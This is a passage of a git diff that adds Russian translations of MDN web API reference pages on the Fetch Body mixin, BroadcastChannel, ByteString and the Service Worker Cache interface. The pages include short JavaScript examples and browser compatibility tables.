{{domxref("Promise")}} которое разрешается с помощью объекта {{domxref("FormData")}}.

+ +

Пример

+ +

Нужно добавить.

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-body-formdata','formData()')}}{{Spec2('Fetch')}} 
+ +

Браузерная совместимость

+ + + +

{{Compat("api.Body.formData")}}

+ +

Также смотрите

+ + diff --git a/files/ru/web/api/body/index.html b/files/ru/web/api/body/index.html new file mode 100644 index 0000000000..82ba54e53d --- /dev/null +++ b/files/ru/web/api/body/index.html @@ -0,0 +1,99 @@ +--- +title: Body +slug: Web/API/Body +tags: + - API + - BODY + - Experimental + - Fetch + - Fetch API + - Interface + - NeedsTranslation + - Reference + - TopicStub + - request +translation_of: Web/API/Body +--- +
{{ APIRef("Fetch") }}
+ +

The Body {{glossary("mixin")}} of the Fetch API represents the body of the response/request, allowing you to declare what its content type is and how it should be handled.

+ +

Body is implemented by both {{domxref("Request")}} and {{domxref("Response")}}. This provides these objects with an associated body (a stream), a used flag (initially unset), and a MIME type (initially the empty byte sequence).

+ +

Properties

+ +
+
{{domxref("Body.body")}} {{readonlyInline}}
+
A simple getter used to expose a {{domxref("ReadableStream")}} of the body contents.
+
{{domxref("Body.bodyUsed")}} {{readonlyInline}}
+
A {{domxref("Boolean")}} that indicates whether the body has been read.
+
+ +

Methods

+ +
+
{{domxref("Body.arrayBuffer()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.
+
{{domxref("Body.blob()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.
+
{{domxref("Body.formData()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.
+
{{domxref("Body.json()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}.
+
{{domxref("Body.text()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text). The response is always decoded using UTF-8.
+
+ +

Examples

+ +

The example below uses a simple fetch call to grab an image and display it in an {{htmlelement("img")}} tag. You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob","Body.blob()")}} ({{domxref("Response")}} implements body) to give the response its correct MIME type.

+ +

HTML Content

+ +
<img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png">
+
+ +

JS Content

+ +
var myImage = document.querySelector('.my-image');
+fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg')
+	.then(res => res.blob())
+	.then(res => {
+		var objectURL = URL.createObjectURL(res);
+		myImage.src = objectURL;
+});
+ +

{{ EmbedLiveSample('Examples', '100%', '250px') }}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#body-mixin','Body')}}{{Spec2('Fetch')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.Body")}}

+ +

See also

+ + + +

 

diff --git a/files/ru/web/api/body/json/index.html b/files/ru/web/api/body/json/index.html new file mode 100644 index 0000000000..649c5b60e6 --- /dev/null +++ b/files/ru/web/api/body/json/index.html @@ -0,0 +1,77 @@ +--- +title: Body.json() +slug: Web/API/Body/json +tags: + - Fetch-запрос + - Справка + - метод +translation_of: Web/API/Body/json +--- +
{{APIRef("Fetch")}}
+ +

Метод json() , определен на миксине {{domxref("Body")}}, который включён в объектах Request и Response, принимает и читает тело {{domxref("Response")}} stream. Возвращает promise (обещание), который, когда ответ будет получен, вызовет коллбэк с результатом парсинга тела ответа в {{jsxref("JSON")}} объект.

+ +

Синтаксис

+ +
response.json().then(function(data) {
+  // do something with your data
+});
+ +

Аргументы

+ +

Нет.

+ +

Возвращает

+ +

Promise (обещание), который, когда ответ будет получен, вызовет коллбэк с результатом парсинга тела ответа в JSON объект. Этим может быть что угодно, что может быть представлено как JSON объект — объект, массив, строка, число...

+ +

Пример

+ +

В нашем fetch json примере (запустите fetch json live), мы создаем новый запрос, используя {{domxref("Request.Request")}} конструктор, в последствии мы используем его (запрос) для получения .json файла. Когда fetch запрос будет выполнен, мы прочтем и спарсим данные, используя json(), а далее вставим значения из полученного объекта в list элементы списка для отображения данных по нашему продукту.

+ +
var myList = document.querySelector('ul');
+
+var myRequest = new Request('products.json');
+
+fetch(myRequest)
+  .then(function(response) { return response.json(); })
+  .then(function(data) {
+    for (var i = 0; i < data.products.length; i++) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '<strong>' + data.products[i].Name + '</strong> can be found in ' +
+                           data.products[i].Location +
+                           '. Cost: <strong>£' + data.products[i].Price + '</strong>';
+      myList.appendChild(listItem);
+    }
+  });
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-body-json','json()')}}{{Spec2('Fetch')}} 
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Body.json")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/broadcastchannel/index.html b/files/ru/web/api/broadcastchannel/index.html new file mode 100644 index 0000000000..2f7ce7b6a4 --- /dev/null +++ b/files/ru/web/api/broadcastchannel/index.html @@ -0,0 +1,74 @@ +--- +title: BroadcastChannel +slug: Web/API/BroadcastChannel +translation_of: Web/API/BroadcastChannel +--- +

{{APIRef("Broadcast Channel API")}}

+ +

Интерфейс BroadcastChannel представляет собой именованный канал, на который можно подписаться из любого {{glossary("контекста просмотра")}} данного {{glossary("источника")}}. Это позволяет настроить коммуницию между разными документами (в разных окнах, вкладках, фреймах и т.д.) одного источника. Сообщения распространяются с помощью события {{event("message")}}, выстреливающего для всех объектов BroadcastChannel, слушающих этот канал.

+ +

{{AvailableInWorkers}}

+ +

Конструктор

+ +
+
{{domxref("BroadcastChannel.BroadcastChannel", "BroadcastChannel()")}}
+
Создает объект, связанный с именованным каналом.
+
+ +

Свойства

+ +

Этот интерфейс также наследует свойства от своего родителя, {{domxref("EventTarget")}}.

+ +
+
{{domxref("BroadcastChannel.name")}}
+
Возвращает {{domxref("DOMString")}}, имя канала.
+
+

Обработчики событий

+
+
{{domxref("BroadcastChannel.onmessage")}}
+
{{domxref("EventHandler")}} свойство, определяющее функцию, которая будет запущена, когда произойдет вызов события {{event("message")}} на этом объекте.
+
{{domxref("BroadcastChannel.onmessageerror")}}
+
{{domxref("EventHandler")}}, который вызывается, когда приходит {{domxref("MessageEvent")}} типа {{domxref("MessageError")}} — когда приходит сообщение, которое не может быть десереализовано.
+
+ +

Методы

+ +

Этот интерфейс также наследует свойства от своего родителя,{{domxref("EventTarget")}}.

+ +
+
{{domxref("BroadcastChannel.postMessage()")}}
+
Отправляет сообщение любого типа объекта всем объектам BroadcastChannel, прослушивающим данный канал.
+
{{domxref("BroadcastChannel.close()")}}
+
Закрывает объект канала, указывая, что тот больше не будет получать новые сообщения, и позволяет сборщику мусора уничтожить его.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#broadcastchannel", "BroadcastChannel")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Браузерная совместимость

+ + + +

{{Compat("api.BroadcastChannel")}}

+ +

Смотри также

+ + diff --git a/files/ru/web/api/broadcastchannel/postmessage/index.html b/files/ru/web/api/broadcastchannel/postmessage/index.html new file mode 100644 index 0000000000..17ea5ad451 --- /dev/null +++ b/files/ru/web/api/broadcastchannel/postmessage/index.html @@ -0,0 +1,52 @@ +--- +title: BroadcastChannel.postMessage() +slug: Web/API/BroadcastChannel/postMessage +tags: + - API + - Broadcast Channel API + - BroadcastChannel + - HTML API + - Определение + - Экспериментальное + - метод +translation_of: Web/API/BroadcastChannel/postMessage +--- +

{{APIRef("BroadCastChannel API")}}

+ +

BroadcastChannel.postMessage() отправляет сообщение, которое может быть любым {{jsxref("Object", "объектом")}}, каждому слушателю в {{glossary("browsing context", "контексте браузера")}} с тем же {{glossary("origin")}}. Сообщение передается в виде события {{event("message")}} к каждому BroadcastChannel, привязанному к данному каналу.

+ +

{{AvailableInWorkers}}

+ +

Синтаксис

+ +
var str = channel.postMessage(object);
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "comms.html#dom-broadcastchannel-postmessage", "BroadcastChannel.postmessage()")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Совместимость

+ + + +

{{Compat("api.BroadcastChannel.postMessage")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/bytestring/index.html b/files/ru/web/api/bytestring/index.html new file mode 100644 index 0000000000..01993390ee --- /dev/null +++ b/files/ru/web/api/bytestring/index.html @@ -0,0 +1,34 @@ +--- +title: ByteString +slug: Web/API/ByteString +tags: + - Строки +translation_of: Web/API/ByteString +--- +
{{APIRef("DOM")}}
+ +

ByteString является UTF-8 строкой, которая соответствует набору всех возможных последовательностей байтов. ByteString отображается как {{jsxref("String")}} при возврате в JavaScript; как правило, используется только при взаимодействии с протоколами, которые равнозначно используют байты и строки, например HTTP.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('WebIDL', '#idl-ByteString', 'ByteString')}}{{Spec2('WebIDL')}}Изначальное определение
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/cache/add/index.html b/files/ru/web/api/cache/add/index.html new file mode 100644 index 0000000000..f5745943e3 --- /dev/null +++ b/files/ru/web/api/cache/add/index.html @@ -0,0 +1,102 @@ +--- +title: Cache.add() +slug: Web/API/Cache/add +translation_of: Web/API/Cache/add +--- +

{{APIRef("Service Workers API")}}

+ +

Метод add() интерфейса {{domxref("Cache")}} принимает в качестве параметра URL, загружает его и добавляет полученный объект ответа в заданный кеш. Метод add() функционально эквивалентен соедующему коду:

+ +
fetch(url).then(function (response) {
+  if (!response.ok) {
+    throw new TypeError('bad response status');
+  }
+  return cache.put(url, response);
+})
+ +

Для более сложных операций, вам нужно использовать {{domxref("Cache.put","Cache.put()")}}.

+ +
+

Замечание: add() перезапишет любую пару ключ/значение, сохраненную ранее в кеше, соответствующем запросу.

+
+ +

Синтаксис

+ +
cache.add(request).then(function() {
+  //запрос был добавлен в кеш
+});
+
+ +

Параметры

+ +
+
request
+
Запрос, который вы хотите добавить в кеш. Это может быть объект  {{domxref("Request")}}, либо URL.
+
+ +

Возвращаемое значение

+ +

{{jsxref("Promise")}}, который разрешается с пустым значением void.

+ +

Исключения

+ + + + + + + + + + + + + + +
ИсключениеКогда происходит
TypeError +

Схема URL не http или https.

+ +

Статус ответа не из диапазона 200 (т.е., ответ не успешен). Это случается если запрос не выполняется успешно, а также, если запрос является cross-origin no-cors запросом (в таком случае, статус всегда 0).

+
+ +

Примеры

+ +

Этот блок кода ожидает старта события {{domxref("InstallEvent")}} , а затем запускает  {{domxref("ExtendableEvent.waitUntil","waitUntil")}} для обработки процесса установки приложения. Этот процесс состоит из вызова  {{domxref("CacheStorage.open")}} для создания нового кеша, и использования {{domxref("Cache.add")}} для добавления ресурсов в этот кеш.

+ +
this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.add('/sw-test/index.html');
+    })
+  );
+});
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомменатрий
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{Compat("api.Cache.add")}}
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/cache/addall/index.html b/files/ru/web/api/cache/addall/index.html new file mode 100644 index 0000000000..b48323c9ee --- /dev/null +++ b/files/ru/web/api/cache/addall/index.html @@ -0,0 +1,206 @@ +--- +title: Cache.addAll() +slug: Web/API/Cache/addAll +translation_of: Web/API/Cache/addAll +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

Описание

+ +

Метод addAll() интерфейса {{domxref("Cache")}} принимает массив URLS в кечестве параметра, получает данные по ним, и добавляет полученные объекты ответов в заданный кеш. Объекты запросов, созданные в ходе получения данных, становятся ключами для хранимых ответов. 

+ +
+

Замечание: addAll() перезапишет любые пары ключ/значение ранее записанные в кеш, соответствующие запросу, но выдаст ошибку, если операция put() перезапишет один из кешей, созданный за время выполнения одного и того же метода addAll().

+
+ +
+

Замечание: Первоначальная реализация Cache (как в Blink, так и в Gecko) разрешает промисы {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, и {{domxref("Cache.put")}} когда тело ответа полностью записано в хранилище. Более поздние версии спецификации говорят, что браузер может разрешить промис как только данные были записаны в базу данных, даже если тело ответа еще формируется.

+
+ +
+

Замечание: Начиная с Chrome 46, Cache API будет хранить запросы только из безопасных источников, то есть, только использующие протокол HTTPS.

+
+ +

Синтаксис

+ +
cache.addAll(requests[]).then(function() {
+  //запросы были дабавлены в кеш
+});
+
+ +

Параметры

+ +
+
requests
+
Массив объектов {{domxref("Request")}}, которые вы хотите добавить в кеш.
+
+ +

Возвращаемое значение

+ +

{{jsxref("Promise")}}, которые разрешается с пустым зачением void.

+ +

Исключения

+ + + + + + + + + + + + + + +
ИсключениеКогда происходит
TypeError +

Схема URL не http или https.

+ +

Статус ответа не из диапазона 200 (т.е., ответ не успешен). Это случается если запрос не выполняется успешно, а также, если запрос является cross-origin no-cors запросом (в таком случае, статус всегда 0).

+
+ +

Примеры

+ +

Этот блок кода ожидает старта события {{domxref("InstallEvent")}}, а затем запускает {{domxref("ExtendableEvent.waitUntil","waitUntil")}} для обработки процесса установки приложения. Этот процесс состоит из вызова {{domxref("CacheStorage.open")}} для создания нового кеша, и вызова addAll() для добавления набора ресурсов в этот кеш.

+ +
this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(46.0)}}{{CompatVersionUnknown}}[1]{{CompatNo}}24{{CompatNo}}
Требует HTTPS{{CompatChrome(46.0)}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
TypeError в случае неуспешного запроса{{CompatVersionUnknown}}{{CompatGeckoDesktop(47.0)}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(46.0)}}
Трубует HTTPS{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(46.0)}}
TypeError в случае неуспешного запроса{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Сервис воркеры (и Push) были отключены в Firefox 45 Extended Support Release (ESR.)

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/cache/delete/index.html b/files/ru/web/api/cache/delete/index.html new file mode 100644 index 0000000000..5efa82b44a --- /dev/null +++ b/files/ru/web/api/cache/delete/index.html @@ -0,0 +1,128 @@ +--- +title: Cache.delete() +slug: Web/API/Cache/delete +translation_of: Web/API/Cache/delete +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

Метод delete() интерфейса {{domxref("Cache")}} ищет запись {{domxref("Cache")}}, чей ключ совпадает с запросом, и, в случае находки, удаляет запись {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, который разрешается со значением true. Если запись не была найдена {{domxref("Cache")}}, метод возвращает false.

+ +

Синтаксис

+ +
cache.delete(request,{options}).then(function(true) {
+  // запись была удалена
+});
+
+ +

Возвращаемое значение

+ +

{{jsxref("Promise")}}, который разрешается со значением true в случае, если запись была удалена, или false в другом случае.

+ +

Параметры

+ +
+
request
+
{{domxref("Request")}}, который вы хотите удалить.
+
options {{optional_inline}}
+
Объект, чьи свойства контролируют как будет выполняться сопоставление ключей при вызове delete. Допустимые значения: +
    +
  • ignoreSearch: Булево значение {{domxref("Boolean")}}, которое определяет будет ли процесс сопоставления игнорировать строку запроса в url.  Если установлено в true, часть ?value=bar запроса http://foo.com/?value=bar будет проигнорирована при сопоставлении ключей. По умолчанию установлено в false.
    • +
  • ignoreMethod: Булево значение {{domxref("Boolean")}}, которое, если равно true, предотвращает проверку {{domxref("Request")}} при сопоставлении ключей на HTTP метод (обычно допускаются только GET и HEAD). По умолчанию установлено в false.
    • +
  • ignoreVary: Булево значение {{domxref("Boolean")}}, которое, если равно true, указывает операции сопоставления ключей не проводить проверку заголовка VARY.  Другими словами, если URL совпадает, вы получите соответствие, независимо от того, есть ли заголовок VARY на объекте запроса {{domxref("Response")}}. По умолчанию установлено в false.
    • +
  • cacheName: Строка {{domxref("DOMString")}}, которая представляет собой определенный кеш, в котором вести поиск. Заметьте, что этот параметр игнорируется методом Cache.delete().
    • +
+
+
+ +

Примеры

+ +
caches.open('v1').then(function(cache) {
+  cache.delete('/images/image.png').then(function(response) {
+    someUIUpdateFunction();
+  });
+})
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(40.0)}}[1]{{CompatGeckoDesktop(39)}}[2]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(39)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}[1]
+
+ +

[1] Параметр options поддерживает только значения ignoreSearch и cacheName. 

+ +

[2] Сервис воркеры (и Push) бы ли отключены в Firefox 45 Extended Support Release (ESR.)

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/cache/index.html b/files/ru/web/api/cache/index.html new file mode 100644 index 0000000000..82923d3fba --- /dev/null +++ b/files/ru/web/api/cache/index.html @@ -0,0 +1,278 @@ +--- +title: Сache +slug: Web/API/Cache +translation_of: Web/API/Cache +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

Интерфейс Cache представляет собой механизм хранения пары объектов Request / Response, которые кешируются, например, как часть жизненного цикла {{domxref("ServiceWorker")}}. Заметьте, что интерфейс Cache доступен как в области видимости окна, так и в области видимости воркеров. Не обязательно использовать его вместе с сервис воркерами, даже если интерфейс определен в их спецификации.

+ +

Для вызывающего скрипта может быть множество именованных объектов Cache. Разработчик сам определяет реализацию того, как скрипт (например, в  {{domxref("ServiceWorker")}}) управляет обновлением Cache. Записи в Cache не будут обновлены, пока не будет выполнен явный запрос; их время жизни не истечет до момента удаления. Используйте {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}, чтобы открыть определенный именованный объект Cache и затем вызывайте любые методы Cache для управления его состоянием.

+ +

Вы также ответственны за периодическую очистку записей кеша. Каждый браузер имеет жесткие ограничения на объем хранилища кеша, доступный для исходного кода. Браузер делает все, чтобы как можно лучше использовать дисковое пространство, но он может удалить хранилище кеша для скрипта. В основном, браузер либо удаляет все данные из кеша для скрипта, либо не удалает ничего. Устанавливайте версии кеша в имени и используйте кеш только той версии, которая безопасна для использования. Смотрите Удаление старого кеша.

+ +
+

Замечание: {{domxref("Cache.put")}}, {{domxref("Cache.add")}} и {{domxref("Cache.addAll")}} допускают сохранение в кеш только GET запросов.

+
+ +
+

Замечание: Изначально, реализация Cache (как в Blink, так и в Gecko) возвращала успешное завершение для промисов {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}} и {{domxref("Cache.put")}}, когда тело ответа было полностью помещено в хранилище. Более поздние версии используют новейший язык, утверждая, что браузер может разрешить промис как только запись будет записана в базу данных, даже если тело ответа все еще загружается в потоке.

+
+ +
+

Замечание: Начиная с Chrome 46, Cache API будут хранить запросы только от безопасных источников, то есть, доступных через HTTPS.

+
+ +
+

Замечание: Алгоритм сопоставления ключей зависит от заголовка VARY хранимого значения. Таким образом, сопоставление нового ключа требует одновременно как проверки самого ключа, так и значений для записей в Cache.

+
+ +
+

Замечание: Кеширующие API не приветствуют заголовки кеширования HTTP.

+
+ +

Методы

+ +
+
{{domxref("Cache.match", "Cache.match(request, options)")}}
+
Возвращает {{jsxref("Promise")}}, который успешно завершается с нахождением первого совпадения для данного запроса в объекте {{domxref("Cache")}}.
+
{{domxref("Cache.matchAll", "Cache.matchAll(request, options)")}}
+
Возвращает {{jsxref("Promise")}}, который успешно завершается и возврщает массив всех найденных совпадений для данного запроса в объекте  {{domxref("Cache")}}.
+
{{domxref("Cache.add", "Cache.add(request)")}}
+
Принимает в качестве параметра URL, получает данные по нему и добавляет полученный объект ответа в заданный кеш. Функциональный эквивалент  вызову fetch() с последующим вызовом Cache.put() для добавления результата в кеш.
+
{{domxref("Cache.addAll", "Cache.addAll(requests)")}}
+
Принимает массив URL в качестве параметра, получает данные по ним, добавляет полученные объекты ответов в заданный кеш.
+
{{domxref("Cache.put", "Cache.put(request, response)")}}
+
Принимает запрос и ответ на него и добавляет их в заданный кеш.
+
{{domxref("Cache.delete", "Cache.delete(request, options)")}}
+
Находит запись {{domxref("Cache")}}, чей ключ является запросом, и, в случае находждения, удаляет запись {{domxref("Cache")}}  и возвращает {{jsxref("Promise")}}, успешно завершающийся со значением true. Если же запись  {{domxref("Cache")}} не найдена, возвращается false.
+
{{domxref("Cache.keys", "Cache.keys(request, options)")}}
+
Возвращает {{jsxref("Promise")}}, который отдает массив ключей {{domxref("Cache")}}.
+
+ +

Примеры

+ +

Этот пример кода из примера выборочного кеширования сервис воркера. (смотрите работа выборочного кеширования). В коде используется {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}} для открытия любых объектов {{domxref("Cache")}} с заголовком Content-Type, начинающимся с font/.

+ +

Далее используется {{domxref("Cache.match", "Cache.match(request, options)")}} для определения того, находится ли уже совпадающий шрифт в кеше, и, если так, то возвращает его. Если же совпадающего шрифта нет, код получает этот шрифт по сети и использует {{domxref("Cache.put","Cache.put(request, response)")}} для кеширования полученного ресурса.

+ +

Код обрабатывает исключения, возможные при операции {{domxref("Globalfetch.fetch","fetch()")}}. Заметьте, что HTTP-ответ с ошибкой  (например, 404) не будет вызывать исключения. Будет возвращен нормальный объект ответа с установленным соответствующим кодом ошибки.

+ +

Также, пример описывает лучшие практики по заданию версий кеша при работе с сервис воркерами. И хотя в примере лишь один кеш, тот же подход может быть использован для множества кешей. Он сравнивает сокращенный идентификатор кеша с определенным, версионным именем кеша. Код также удаляет весь кеш, для которого не определено имя CURRENT_CACHES.

+ +

В примере кода "кеш" это аттрибут WorkerGlobalScope сервис воркеров. Он содержит объект CacheStorage, через который можно получить доступ к CacheStorage  API.

+ +
Замечание: В Chrome, откройте chrome://inspect/#service-workers и кликните по ссылке "inspect" под зарегистрированным сервис воркером чтобы увидеть записи журнала по различным действиям выполняемым скриптом service-worker.js.
+ +
var CACHE_VERSION = 1;
+
+// Сокращенный идентификатор привязанный к определенной версии кеша.
+var CURRENT_CACHES = {
+  font: 'font-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('activate', function(event) {
+  var expectedCacheNames = Object.keys(CURRENT_CACHES).map(function(key) {
+    return CURRENT_CACHES[key];
+  });
+
+  // Автивный воркер не будет рассматриваться как активированный, пока promise не разрешится успешно.
+  event.waitUntil(
+    caches.keys().then(function(cacheNames) {
+      return Promise.all(
+        cacheNames.map(function(cacheName) {
+          if (expectedCacheNames.indexOf(cacheName) == -1) {
+            console.log('Deleting out of date cache:', cacheName);
+
+            return caches.delete(cacheName);
+          }
+        })
+      );
+    })
+  );
+});
+
+self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+
+    // Открывает объекты Cache, начинающиеся с 'font'.
+    caches.open(CURRENT_CACHES['font']).then(function(cache) {
+      return cache.match(event.request).then(function(response) {
+        if (response) {
+          console.log('Found response in cache:', response);
+
+          return response;
+        }
+      }).catch(function(error) {
+
+        // Обрабатывает исключения от match() или fetch().
+        console.error('Error in fetch handler:', error);
+
+        throw error;
+      });
+    })
+  );
+});
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(40.0)}}{{CompatGeckoDesktop(39)}}[1]{{CompatNo}}24{{CompatNo}}
add(){{CompatChrome(44.0)}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
addAll(){{CompatChrome(46.0)}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
matchAll(){{CompatChrome(47.0)}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Требует HTTPS для add(), addAll(), и put(){{CompatChrome(46.0)}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(39)}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}
add(){{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(44.0)}}
addAll(){{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(46.0)}}
matchAll(){{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(46.0)}}
Требует HTTPS для add(), addAll(), и put(){{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(46.0)}}
+
+ +

[1] Сервис воркеры (и Push) были отключены в Firefox 45 Extended Support Release (ESR.)

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/cache/keys/index.html b/files/ru/web/api/cache/keys/index.html new file mode 100644 index 0000000000..0ae385d424 --- /dev/null +++ b/files/ru/web/api/cache/keys/index.html @@ -0,0 +1,136 @@ +--- +title: Cache.keys() +slug: Web/API/Cache/keys +translation_of: Web/API/Cache/keys +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

Метод keys() интерфейса {{domxref("Cache")}} возвращает {{jsxref("Promise")}}, который разрешается в массив ключей {{domxref("Cache")}}.

+ +

Запросы возвращаются в том же порядке, в котором были добавлены.

+ +
+

Замечание: Запросы с дублирующимися URL, но с разными заголовками, могут быть возвращены, если в ответах на них установлен заголовок VARY.

+
+ +

Синтаксис

+ +
cache.keys(request,{options}).then(function(keys) {
+  // сделать что-нибудь с вашим массивом запросов
+});
+
+ +

Возвращаемое значение

+ +

{{jsxref("Promise")}}, который разрешается в массив ключей {{domxref("Cache")}}.

+ +

Параметры

+ +
+
request {{optional_inline}}
+
{{domxref("Request")}} который будет возвращен, если найден указанный ключ.
+
options {{optional_inline}}
+
Объект, чьи свойства контролируют то, как выполняется сопоставление ключей для операции keys. Допустимые параметры: +
    +
  • ignoreSearch: Булево значение {{domxref("Boolean")}}, которое определяет должен ли процесс сопоставления игнорировать строку запроса в url.  Если установлено в true, часть ?value=bar запроса http://foo.com/?value=bar будет проигнорирована при сопоставлении. По умолчанию установлено в false.
    • +
